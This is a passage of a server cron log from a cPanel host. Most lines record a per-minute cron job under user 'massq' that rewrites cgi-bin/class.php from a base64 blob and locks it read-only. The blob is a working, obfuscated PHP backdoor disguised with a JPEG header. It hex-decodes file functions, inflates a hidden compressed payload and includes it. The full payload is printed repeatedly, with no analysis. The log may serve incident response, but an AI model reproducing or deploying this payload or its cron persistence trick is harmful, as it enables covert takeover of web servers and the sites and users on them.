"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:53:01 server CROND[10779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:54:01 server CROND[10860]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:55:01 server CROND[10943]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 10:55:01 server CROND[10944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:55:01 server CROND[10946]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 10:56:01 server CROND[11051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:57:01 server CROND[11212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:57:01 server CROND[11213]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 10:58:01 server CROND[11281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 10:59:01 server CROND[11370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:00:01 server CROND[11436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:00:01 server CROND[11437]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 11:00:01 server CROND[11438]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 11:00:01 server CROND[11439]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 11:01:01 server CROND[11577]: (root) CMD (run-parts /etc/cron.hourly)
Apr  8 11:01:01 server CROND[11578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:01:01 server run-parts(/etc/cron.hourly)[11577]: starting 0anacron
Apr  8 11:01:01 server run-parts(/etc/cron.hourly)[11590]: finished 0anacron
Apr  8 11:02:01 server CROND[11758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:03:01 server CROND[11831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:04:01 server CROND[11899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 11:05:01 server CROND[11960]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  8 11:05:01 server CROND[11961]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 11:05:01 server CROND[11962]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 11:05:01 server CROND[11964]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 11:05:01 server CROND[11966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZG